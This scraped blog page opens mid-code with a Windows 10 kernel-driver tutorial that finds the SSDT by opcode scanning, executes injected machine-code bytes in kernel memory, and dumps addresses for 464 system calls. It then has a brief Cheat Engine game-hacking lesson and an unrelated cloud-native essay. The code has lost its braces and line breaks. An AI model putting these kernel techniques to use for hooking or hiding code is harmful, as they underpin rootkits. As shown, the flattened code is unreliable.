work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> #pragma intrinsic(__readmsr) typedef struct _SYSTEM_SERVICE_TABLE PVOID ServiceTableBase; PVOID ServiceCounterTableBase; ULONGLONG NumberOfServices; PVOID ParamTableBase; } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE; ULONGLONG ssdt_base_aadress; PSYSTEM_SERVICE_TABLE KeServiceDescriptorTable; typedef UINT64(__fastcall *SCFN)(UINT64, UINT64); SCFN scfn; // 解密算法 VOID DecodeSSDT() UCHAR strShellCode[36] = "\x48\x8B\xC1\x4C\x8D\x12\x8B\xF8\xC1\xEF\x07\x83\xE7\x20\x4E\x8B\x14\x17\x4D\x63\x1C\x82\x49\x8B\xC3\x49\xC1\xFB\x04\x4D\x03\xD3\x49\x8B\xC2\xC3"; 48:8BC1 | mov rax,rcx | rcx=index 4C:8D12 | lea r10,qword ptr ds:[rdx] | rdx=ssdt 8BF8 | mov edi,eax | C1EF 07 | shr edi,7 | 83E7 20 | and edi,20 | 4E:8B1417 | mov r10,qword ptr ds:[rdi+r10] | 4D:631C82 | movsxd r11,dword ptr ds:[r10+rax*4] | 49:8BC3 | mov rax,r11 | 49:C1FB 04 | sar r11,4 | 4D:03D3 | add r10,r11 | 49:8BC2 | mov rax,r10 | C3 | ret | scfn = ExAllocatePool(NonPagedPool, 36); memcpy(scfn, strShellCode, 36); // 获取 KeServiceDescriptorTable 首地址 ULONGLONG GetKeServiceDescriptorTable() // 设置起始位置 PUCHAR StartSearchAddress = (PUCHAR)__readmsr(0xC0000082) - 0x1806FE; // 设置结束位置 PUCHAR EndSearchAddress = StartSearchAddress + 0x8192; DbgPrint("扫描起始地址: %p --> 扫描结束地址: %p \n", StartSearchAddress, EndSearchAddress); PUCHAR ByteCode = NULL; UCHAR OpCodeA = 0, OpCodeB = 0, OpCodeC = 0; ULONGLONG addr = 0; ULONG templong = 0; for (ByteCode = StartSearchAddress; ByteCode < EndSearchAddress; ByteCode++) // 使用MmIsAddressValid()函数检查地址是否有页面错误 if (MmIsAddressValid(ByteCode) && MmIsAddressValid(ByteCode + 1) && MmIsAddressValid(ByteCode + 2)) OpCodeA = *ByteCode; OpCodeB = *(ByteCode + 1); OpCodeC = *(ByteCode + 2); // 对比特征值 寻找 nt!KeServiceDescriptorTable 函数地址 // LyShark.com // 4c 8d 15 e5 9e 3b 00 lea r10,[nt!KeServiceDescriptorTable (fffff802`64da4880)] // 4c 8d 1d de 20 3a 00 lea r11,[nt!KeServiceDescriptorTableShadow (fffff802`64d8ca80)] if (OpCodeA == 0x4c && OpCodeB == 0x8d && OpCodeC == 0x15) // 获取高位地址fffff802 memcpy(&templong, ByteCode + 3, 4); // 与低位64da4880地址相加得到完整地址 addr = (ULONGLONG)templong + (ULONGLONG)ByteCode + 7; return addr; return 0; // 得到函数相对偏移地址 ULONG GetOffsetAddress(ULONGLONG FuncAddr) ULONG dwtmp = 0; PULONG ServiceTableBase = NULL; if (KeServiceDescriptorTable == NULL) KeServiceDescriptorTable = (PSYSTEM_SERVICE_TABLE)GetKeServiceDescriptorTable(); ServiceTableBase = (PULONG)KeServiceDescriptorTable->ServiceTableBase; dwtmp = (ULONG)(FuncAddr - (ULONGLONG)ServiceTableBase); return dwtmp << 4; // 根据序号得到函数地址 ULONGLONG GetSSDTFunctionAddress(ULONGLONG NtApiIndex) ULONGLONG ret = 0; if (ssdt_base_aadress == 0) // 得到ssdt基地址 ssdt_base_aadress = GetKeServiceDescriptorTable(); if (scfn == NULL) DecodeSSDT(); ret = scfn(NtApiIndex, ssdt_base_aadress); return ret; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("驱动程序卸载成功! \n")); NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); ULONGLONG ssdt_address = GetKeServiceDescriptorTable(); DbgPrint("SSDT基地址 = %p \n", ssdt_address); // 根据序号得到函数地址 ULONGLONG address = GetSSDTFunctionAddress(51); DbgPrint("[LyShark] NtOpenFile地址 = %p \n", address); // 得到相对SSDT的偏移量 DbgPrint("函数相对偏移地址 = %p \n", GetOffsetAddress(address)); DriverObject->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行后即可得到SSDT下标为51的函数也就是得到NtOpenFile的绝对地址和相对地址。你也可以打开ARK工具,对比一下是否一致,如下图所示,LyShark的代码是没有任何问题的。

驱动开发:Win10枚举完整SSDT地址表

在前面的博文《驱动开发:Win10内核枚举SSDT表基址》中已经教大家如何寻找SSDT表基地址了,找到后我们可根据序号获取到指定SSDT函数的原始地址,而如果需要输出所有SSDT表信息,则可以定义字符串列表,以此循环调用GetSSDTFunctionAddress()函数得到,当然在此之间也可以调用系统提供的MmGetSystemRoutineAddress()函数顺便把当前地址拿到,并通过循环方式得到完整的SSDT列表。调用MmGetSystemRoutineAddress()得到当前地址很容易实现,只需要将函数名字符串通过RtlInitUnicodeString()格式化一下即可。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("驱动程序卸载成功! \n")); NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); // 获取SSDT起源地址 UNICODE_STRING uncode; RtlInitUnicodeString(&uncode, L"NtOpenFile"); PULONGLONG source_address = MmGetSystemRoutineAddress(&uncode); DbgPrint("[LyShark] NtOpenFile起源地址 = %p \n", source_address); DriverObject->DriverUnload = UnDriver; return STATUS_SUCCESS; }代码获得NtOpenFile这个函数的内存地址,输出效果如下所示:根据上一章节的内容扩展,枚举完整SSDT表我们可以这样来实现。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> #pragma intrinsic(__readmsr) typedef struct _SYSTEM_SERVICE_TABLE PVOID ServiceTableBase; PVOID ServiceCounterTableBase; ULONGLONG NumberOfServices; PVOID ParamTableBase; } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE; ULONGLONG ssdt_base_aadress; PSYSTEM_SERVICE_TABLE KeServiceDescriptorTable; typedef UINT64(__fastcall *SCFN)(UINT64, UINT64); SCFN scfn; // 解密算法 VOID DecodeSSDT() UCHAR strShellCode[36] = "\x48\x8B\xC1\x4C\x8D\x12\x8B\xF8\xC1\xEF\x07\x83\xE7\x20\x4E\x8B\x14\x17\x4D\x63\x1C\x82\x49\x8B\xC3\x49\xC1\xFB\x04\x4D\x03\xD3\x49\x8B\xC2\xC3"; 48:8BC1 | mov rax,rcx | rcx=index 4C:8D12 | lea r10,qword ptr ds:[rdx] | rdx=ssdt 8BF8 | mov edi,eax | C1EF 07 | shr edi,7 | 83E7 20 | and edi,20 | 4E:8B1417 | mov r10,qword ptr ds:[rdi+r10] | 4D:631C82 | movsxd r11,dword ptr ds:[r10+rax*4] | 49:8BC3 | mov rax,r11 | 49:C1FB 04 | sar r11,4 | 4D:03D3 | add r10,r11 | 49:8BC2 | mov rax,r10 | C3 | ret | scfn = ExAllocatePool(NonPagedPool, 36); memcpy(scfn, strShellCode, 36); // 获取 KeServiceDescriptorTable 首地址 ULONGLONG GetKeServiceDescriptorTable() // 设置起始位置 PUCHAR StartSearchAddress = (PUCHAR)__readmsr(0xC0000082) - 0x1806FE; // 设置结束位置 PUCHAR EndSearchAddress = StartSearchAddress + 0x8192; // DbgPrint("扫描起始地址: %p --> 扫描结束地址: %p \n", StartSearchAddress, EndSearchAddress); PUCHAR ByteCode = NULL; UCHAR OpCodeA = 0, OpCodeB = 0, OpCodeC = 0; ULONGLONG addr = 0; ULONG templong = 0; for (ByteCode = StartSearchAddress; ByteCode < EndSearchAddress; ByteCode++) // 使用MmIsAddressValid()函数检查地址是否有页面错误 if (MmIsAddressValid(ByteCode) && MmIsAddressValid(ByteCode + 1) && MmIsAddressValid(ByteCode + 2)) OpCodeA = *ByteCode; OpCodeB = *(ByteCode + 1); OpCodeC = *(ByteCode + 2); // 对比特征值 寻找 nt!KeServiceDescriptorTable 函数地址 // LyShark.com // 4c 8d 15 e5 9e 3b 00 lea r10,[nt!KeServiceDescriptorTable (fffff802`64da4880)] // 4c 8d 1d de 20 3a 00 lea r11,[nt!KeServiceDescriptorTableShadow (fffff802`64d8ca80)] if (OpCodeA == 0x4c && OpCodeB == 0x8d && OpCodeC == 0x15) // 获取高位地址fffff802 memcpy(&templong, ByteCode + 3, 4); // 与低位64da4880地址相加得到完整地址 addr = (ULONGLONG)templong + (ULONGLONG)ByteCode + 7; return addr; return 0; // 得到函数相对偏移地址 ULONG GetOffsetAddress(ULONGLONG FuncAddr) ULONG dwtmp = 0; PULONG ServiceTableBase = NULL; if (KeServiceDescriptorTable == NULL) KeServiceDescriptorTable = (PSYSTEM_SERVICE_TABLE)GetKeServiceDescriptorTable(); ServiceTableBase = (PULONG)KeServiceDescriptorTable->ServiceTableBase; dwtmp = (ULONG)(FuncAddr - (ULONGLONG)ServiceTableBase); return dwtmp << 4; // 根据序号得到函数地址 ULONGLONG GetSSDTFunctionAddress(ULONGLONG NtApiIndex) ULONGLONG ret = 0; if (ssdt_base_aadress == 0) // 得到ssdt基地址 ssdt_base_aadress = GetKeServiceDescriptorTable(); if (scfn == NULL) DecodeSSDT(); ret = scfn(NtApiIndex, ssdt_base_aadress); return ret; // 查询函数系统地址 ULONG_PTR QueryFunctionSystemAddress(PWCHAR name) UNICODE_STRING na; ULONG_PTR address; RtlInitUnicodeString(&na, name); address = (ULONG_PTR)MmGetSystemRoutineAddress(&na); return address; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("驱动程序卸载成功! \n")); NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); char *SSDT[464] = { "NtAccessCheck", "NtWorkerFactoryWorkerReady", "NtAcceptConnectPort", "NtMapUserPhysicalPagesScatter", "NtWaitForSingleObject", "NtCallbackReturn", "NtReadFile", "NtDeviceIoControlFile", "NtWriteFile", "NtRemoveIoCompletion", "NtReleaseSemaphore", "NtReplyWaitReceivePort", "NtReplyPort", "NtSetInformationThread", "NtSetEvent", "NtClose", "NtQueryObject", "NtQueryInformationFile", "NtOpenKey", "NtEnumerateValueKey", "NtFindAtom", "NtQueryDefaultLocale", "NtQueryKey", "NtQueryValueKey", "NtAllocateVirtualMemory", "NtQueryInformationProcess", "NtWaitForMultipleObjects32", "NtWriteFileGather", "NtSetInformationProcess", "NtCreateKey", "NtFreeVirtualMemory", "NtImpersonateClientOfPort", "NtReleaseMutant", "NtQueryInformationToken", "NtRequestWaitReplyPort", "NtQueryVirtualMemory", "NtOpenThreadToken", "NtQueryInformationThread", "NtOpenProcess", "NtSetInformationFile", "NtMapViewOfSection", "NtAccessCheckAndAuditAlarm", "NtUnmapViewOfSection", "NtReplyWaitReceivePortEx", "NtTerminateProcess", "NtSetEventBoostPriority", "NtReadFileScatter", "NtOpenThreadTokenEx", "NtOpenProcessTokenEx", "NtQueryPerformanceCounter", "NtEnumerateKey", "NtOpenFile", "NtDelayExecution", "NtQueryDirectoryFile", "NtQuerySystemInformation", "NtOpenSection", "NtQueryTimer", "NtFsControlFile", "NtWriteVirtualMemory", "NtCloseObjectAuditAlarm", "NtDuplicateObject", "NtQueryAttributesFile", "NtClearEvent", "NtReadVirtualMemory", "NtOpenEvent", "NtAdjustPrivilegesToken", "NtDuplicateToken", "NtContinue", "NtQueryDefaultUILanguage", "NtQueueApcThread", "NtYieldExecution", "NtAddAtom", "NtCreateEvent", "NtQueryVolumeInformationFile", "NtCreateSection", "NtFlushBuffersFile", "NtApphelpCacheControl", "NtCreateProcessEx", "NtCreateThread", "NtIsProcessInJob", "NtProtectVirtualMemory", "NtQuerySection", "NtResumeThread", "NtTerminateThread", "NtReadRequestData", "NtCreateFile", "NtQueryEvent", "NtWriteRequestData", "NtOpenDirectoryObject", "NtAccessCheckByTypeAndAuditAlarm", "NtQuerySystemTime", "NtWaitForMultipleObjects", "NtSetInformationObject", "NtCancelIoFile", "NtTraceEvent", "NtPowerInformation", "NtSetValueKey", "NtCancelTimer", "NtSetTimer", "NtAccessCheckByType", "NtAccessCheckByTypeResultList", "NtAccessCheckByTypeResultListAndAuditAlarm", "NtAccessCheckByTypeResultListAndAuditAlarmByHandle", "NtAcquireProcessActivityReference", "NtAddAtomEx", "NtAddBootEntry", "NtAddDriverEntry", "NtAdjustGroupsToken", "NtAdjustTokenClaimsAndDeviceGroups", "NtAlertResumeThread", "NtAlertThread", "NtAlertThreadByThreadId", "NtAllocateLocallyUniqueId", "NtAllocateReserveObject", "NtAllocateUserPhysicalPages", "NtAllocateUuids", "NtAllocateVirtualMemoryEx", "NtAlpcAcceptConnectPort", "NtAlpcCancelMessage", "NtAlpcConnectPort", "NtAlpcConnectPortEx", "NtAlpcCreatePort", "NtAlpcCreatePortSection", "NtAlpcCreateResourceReserve", "NtAlpcCreateSectionView", "NtAlpcCreateSecurityContext", "NtAlpcDeletePortSection", "NtAlpcDeleteResourceReserve", "NtAlpcDeleteSectionView", "NtAlpcDeleteSecurityContext", "NtAlpcDisconnectPort", "NtAlpcImpersonateClientContainerOfPort", "NtAlpcImpersonateClientOfPort", "NtAlpcOpenSenderProcess", "NtAlpcOpenSenderThread", "NtAlpcQueryInformation", "NtAlpcQueryInformationMessage", "NtAlpcRevokeSecurityContext", "NtAlpcSendWaitReceivePort", "NtAlpcSetInformation", "NtAreMappedFilesTheSame", "NtAssignProcessToJobObject", "NtAssociateWaitCompletionPacket", "NtCallEnclave", "NtCancelIoFileEx", "NtCancelSynchronousIoFile", "NtCancelTimer2", "NtCancelWaitCompletionPacket", "NtCommitComplete", "NtCommitEnlistment", "NtCommitRegistryTransaction", "NtCommitTransaction", "NtCompactKeys", "NtCompareObjects", "NtCompareSigningLevels", "NtCompareTokens", "ArbPreprocessEntry", "NtCompressKey", "NtConnectPort", "NtConvertBetweenAuxiliaryCounterAndPerformanceCounter", "ArbAddReserved", "NtCreateDebugObject", "NtCreateDirectoryObject", "NtCreateDirectoryObjectEx", "NtCreateEnclave", "NtCreateEnlistment", "NtCreateEventPair", "NtCreateIRTimer", "NtCreateIoCompletion", "NtCreateJobObject", "ArbAddReserved", "NtCreateKeyTransacted", "NtCreateKeyedEvent", "NtCreateLowBoxToken", "NtCreateMailslotFile", "NtCreateMutant", "NtCreateNamedPipeFile", "NtCreatePagingFile", "NtCreatePartition", "NtCreatePort", "NtCreatePrivateNamespace", "NtCreateProcess", "NtCreateProfile", "NtCreateProfileEx", "NtCreateRegistryTransaction", "NtCreateResourceManager", "NtCreateSectionEx", "NtCreateSemaphore", "NtCreateSymbolicLinkObject", "NtCreateThreadEx", "NtCreateTimer", "NtCreateTimer2", "NtCreateToken", "NtCreateTokenEx", "NtCreateTransaction", "NtCreateTransactionManager", "NtCreateUserProcess", "NtCreateWaitCompletionPacket", "NtCreateWaitablePort", "NtCreateWnfStateName", "NtCreateWorkerFactory", "NtDebugActiveProcess", "NtDebugContinue", "NtDeleteAtom", "NtDeleteBootEntry", "NtDeleteDriverEntry", "NtDeleteFile", "NtDeleteKey", "NtDeleteObjectAuditAlarm", "NtDeletePrivateNamespace", "NtDeleteValueKey", "NtDeleteWnfStateData", "NtDeleteWnfStateName", "NtDisableLastKnownGood", "NtDisplayString", "NtDrawText", "NtEnableLastKnownGood", "NtEnumerateBootEntries", "NtEnumerateDriverEntries", "NtEnumerateSystemEnvironmentValuesEx", "NtEnumerateTransactionObject", "NtExtendSection", "NtFilterBootOption", "NtFilterToken", "NtFilterTokenEx", "NtFlushBuffersFileEx", "NtFlushInstallUILanguage", "ArbPreprocessEntry", "NtFlushKey", "NtFlushProcessWriteBuffers", "NtFlushVirtualMemory", "NtFlushWriteBuffer", "NtFreeUserPhysicalPages", "NtFreezeRegistry", "NtFreezeTransactions", "NtGetCachedSigningLevel", "NtGetCompleteWnfStateSubscription", "NtGetContextThread", "NtGetCurrentProcessorNumber", "NtGetCurrentProcessorNumberEx", "NtGetDevicePowerState", "NtGetMUIRegistryInfo", "NtGetNextProcess", "NtGetNextThread", "NtGetNlsSectionPtr", "NtGetNotificationResourceManager", "NtGetWriteWatch", "NtImpersonateAnonymousToken", "NtImpersonateThread", "NtInitializeEnclave", "NtInitializeNlsFiles", "NtInitializeRegistry", "NtInitiatePowerAction", "NtIsSystemResumeAutomatic", "NtIsUILanguageComitted", "NtListenPort", "NtLoadDriver", "NtLoadEnclaveData", "NtLoadKey", "NtLoadKey2", "NtLoadKeyEx", "NtLockFile", "NtLockProductActivationKeys", "NtLockRegistryKey", "NtLockVirtualMemory", "NtMakePermanentObject", "NtMakeTemporaryObject", "NtManageHotPatch", "NtManagePartition", "NtMapCMFModule", "NtMapUserPhysicalPages", "NtMapViewOfSectionEx", "NtModifyBootEntry", "NtModifyDriverEntry", "NtNotifyChangeDirectoryFile", "NtNotifyChangeDirectoryFileEx", "NtNotifyChangeKey", "NtNotifyChangeMultipleKeys", "NtNotifyChangeSession", "NtOpenEnlistment", "NtOpenEventPair", "NtOpenIoCompletion", "NtOpenJobObject", "NtOpenKeyEx", "NtOpenKeyTransacted", "NtOpenKeyTransactedEx", "NtOpenKeyedEvent", "NtOpenMutant", "NtOpenObjectAuditAlarm", "NtOpenPartition", "NtOpenPrivateNamespace", "NtOpenProcessToken", "NtOpenRegistryTransaction", "NtOpenResourceManager", "NtOpenSemaphore", "NtOpenSession", "NtOpenSymbolicLinkObject", "NtOpenThread", "NtOpenTimer", "NtOpenTransaction", "NtOpenTransactionManager", "NtPlugPlayControl", "NtPrePrepareComplete", "NtPrePrepareEnlistment", "NtPrepareComplete", "NtPrepareEnlistment", "NtPrivilegeCheck", "NtPrivilegeObjectAuditAlarm", "NtPrivilegedServiceAuditAlarm", "NtPropagationComplete", "NtPropagationFailed", "NtPulseEvent", "NtQueryAuxiliaryCounterFrequency", "NtQueryBootEntryOrder", "NtQueryBootOptions", "NtQueryDebugFilterState", "NtQueryDirectoryFileEx", "NtQueryDirectoryObject", "NtQueryDriverEntryOrder", "NtQueryEaFile", "NtQueryFullAttributesFile", "NtQueryInformationAtom", "NtQueryInformationByName", "NtQueryInformationEnlistment", "NtQueryInformationJobObject", "NtQueryInformationPort", "NtQueryInformationResourceManager", "NtQueryInformationTransaction", "NtQueryInformationTransactionManager", "NtQueryInformationWorkerFactory", "NtQueryInstallUILanguage", "NtQueryIntervalProfile", "NtQueryIoCompletion", "NtQueryLicenseValue", "NtQueryMultipleValueKey", "NtQueryMutant", "NtQueryOpenSubKeys", "NtQueryOpenSubKeysEx", "CmpCleanUpHigherLayerKcbCachesPreCallback", "NtQueryQuotaInformationFile", "NtQuerySecurityAttributesToken", "NtQuerySecurityObject", "NtQuerySecurityPolicy", "NtQuerySemaphore", "NtQuerySymbolicLinkObject", "NtQuerySystemEnvironmentValue", "NtQuerySystemEnvironmentValueEx", "NtQuerySystemInformationEx", "NtQueryTimerResolution", "NtQueryWnfStateData", "NtQueryWnfStateNameInformation", "NtQueueApcThreadEx", "NtRaiseException", "NtRaiseHardError", "NtReadOnlyEnlistment", "NtRecoverEnlistment", "NtRecoverResourceManager", "NtRecoverTransactionManager", "NtRegisterProtocolAddressInformation", "NtRegisterThreadTerminatePort", "NtReleaseKeyedEvent", "NtReleaseWorkerFactoryWorker", "NtRemoveIoCompletionEx", "NtRemoveProcessDebug", "NtRenameKey", "NtRenameTransactionManager", "NtReplaceKey", "NtReplacePartitionUnit", "NtReplyWaitReplyPort", "NtRequestPort", "NtResetEvent", "NtResetWriteWatch", "NtRestoreKey", "NtResumeProcess", "NtRevertContainerImpersonation", "NtRollbackComplete", "NtRollbackEnlistment", "NtRollbackRegistryTransaction", "NtRollbackTransaction", "NtRollforwardTransactionManager", "NtSaveKey", "NtSaveKeyEx", "NtSaveMergedKeys", "NtSecureConnectPort", "NtSerializeBoot", "NtSetBootEntryOrder", "NtSetBootOptions", "NtSetCachedSigningLevel", "NtSetCachedSigningLevel2", "NtSetContextThread", "NtSetDebugFilterState", "NtSetDefaultHardErrorPort", "NtSetDefaultLocale", "NtSetDefaultUILanguage", "NtSetDriverEntryOrder", "NtSetEaFile", "NtSetHighEventPair", "NtSetHighWaitLowEventPair", "NtSetIRTimer", "NtSetInformationDebugObject", "NtSetInformationEnlistment", "NtSetInformationJobObject", "NtSetInformationKey", "NtSetInformationResourceManager", "NtSetInformationSymbolicLink", "NtSetInformationToken", "NtSetInformationTransaction", "NtSetInformationTransactionManager", "NtSetInformationVirtualMemory", "NtSetInformationWorkerFactory", "NtSetIntervalProfile", "NtSetIoCompletion", "NtSetIoCompletionEx", "BvgaSetVirtualFrameBuffer", "NtSetLowEventPair", "NtSetLowWaitHighEventPair", "NtSetQuotaInformationFile", "NtSetSecurityObject", "NtSetSystemEnvironmentValue", "NtSetSystemEnvironmentValueEx", "NtSetSystemInformation", "NtSetSystemPowerState", "NtSetSystemTime", "NtSetThreadExecutionState", "NtSetTimer2", "NtSetTimerEx", "NtSetTimerResolution", "NtSetUuidSeed", "NtSetVolumeInformationFile", "NtSetWnfProcessNotificationEvent", "NtShutdownSystem", "NtShutdownWorkerFactory", "NtSignalAndWaitForSingleObject", "NtSinglePhaseReject", "NtStartProfile", "NtStopProfile", "NtSubscribeWnfStateChange", "NtSuspendProcess", "NtSuspendThread", "NtSystemDebugControl", "NtTerminateEnclave", "NtTerminateJobObject", "NtTestAlert", "NtThawRegistry", "NtThawTransactions", "NtTraceControl", "NtTranslateFilePath", "NtUmsThreadYield", "NtUnloadDriver", "NtUnloadKey", "NtUnloadKey2", "NtUnloadKeyEx", "NtUnlockFile", "NtUnlockVirtualMemory", "NtUnmapViewOfSectionEx", "NtUnsubscribeWnfStateChange", "NtUpdateWnfStateData", "NtVdmControl", "NtWaitForAlertByThreadId", "NtWaitForDebugEvent", "NtWaitForKeyedEvent", "NtWaitForWorkViaWorkerFactory", "NtWaitHighEventPair", "NtWaitLowEventPair" }; for (size_t lyshark = 0; lyshark < 464; lyshark++) // 获取起源地址 ANSI_STRING ansi = { 0 }; UNICODE_STRING uncode = { 0 }; ULONGLONG ssdt_address = GetKeServiceDescriptorTable(); // DbgPrint("SSDT基地址 = %p \n", ssdt_address); // 根据序号得到函数地址 ULONGLONG address = GetSSDTFunctionAddress(lyshark); ULONG offset = GetOffsetAddress(address); RtlInitAnsiString(&ansi, SSDT[lyshark]); RtlAnsiStringToUnicodeString(&uncode, &ansi, TRUE); PULONGLONG source_address = MmGetSystemRoutineAddress(&uncode); DbgPrint("[LyShark] 序号 => [%d] | 当前地址 => %p | 起源地址 => %p | 相对地址 => %p | SSDT => %s \n", lyshark, address, source_address, offset, SSDT[lyshark]); DriverObject->DriverUnload = UnDriver; return STATUS_SUCCESS; }我们运行这段程序,即可得到整个系统中所有的SSDT表地址信息;在WinDBG中可看到完整的输出内容,当然有些函数没有被导出,起源地址是拿不到的。

CE修改器入门:查找共享代码
本关我们将学习共享代码,在C语言中角色属性都是以结构体的方式进行存储的,而结构体所存储的信息都是连续性的,这一关我们将会解释如何处理游戏中的共用代码,这种代码是通用在除了自己以外的其他同类型对像上的 常常你在修改游戏的时候, 你找到了一个单位的健康值 或是你自己角色的生命值, 你会发现一种情况: 如果你把生命值相关代码移除的话,其结果是你的角色无敌, 但你的敌人也无敌了,这就是共享代码搞的鬼。

【藏经阁一起读(45)】读《云原生实战指南)》,你有哪些心得?

目前,云原生已经变成非常流行的技术趋势,从上云到用云,云原生能够从PaaS层面帮助企业解决应用构建的一系列问题。

云原生有着非常主流的演进方向,具体有三大范式正在成为现实:

•第一个范式是全面容器化。 因为容器形成了运维的标准,成为企业上云用云的新界面,也变成开发者和应用系统交互的新界面,有利于构建高弹性、可伸缩的系统,从而实现降本增效。当下所有的负载都在容器化,包括耳熟能详的微服务、在线应用到整个数据库、大数据、AI、中间件等,所有的工作负载都在容器化。 通过容器,我们可以享受到运维标准化、弹性架构带来的好处,也带来了软件可以无处不在的部署交付,标准化的管理运维。

•第二个范式是整个行业应用的核心技术互联网化。 我们正在用互联网的技术、互联网的架构思想来重构应用系统,从而带来了很多好处:分布式可扩展,支撑业务敏捷迭代,构建弹性架构,从容应对流量高峰。 举例来说,准备一场促销活动、一场跨年晚会,都可能有不可预期的流量高峰,数字化系统需要应对不确定的流量,必须要用互联网架构来实现;此外保障系统高可用、高可靠,保障业务的连续性,也是互联网技术能够带给企业的红利。

•第三个范式是应用的Serverless化。 从技术角度来看,能够实现技术组件分层解耦,让应用可以做到全托管免运维,提升系统的可运维性,降低成本。通过极致弹性,能够把所有的组件覆盖,在云上构建应用变得非常简单。 以前构建应用,需要买ECS实例,搭建开源软件体系然后维护它,流量大了扩容,流量小了缩容,整个过程很复杂繁琐。用了Serverless服务以后,这些问题都简化了,从半托管到全托管,所有的服务API化,无限容量充分弹性,可以组装使用,能够感受到生产力大幅度的改变。也会在软件开发的全生命周期进行优化,升级研发模式,让开发者更多的聚焦在业务上,加速迭代。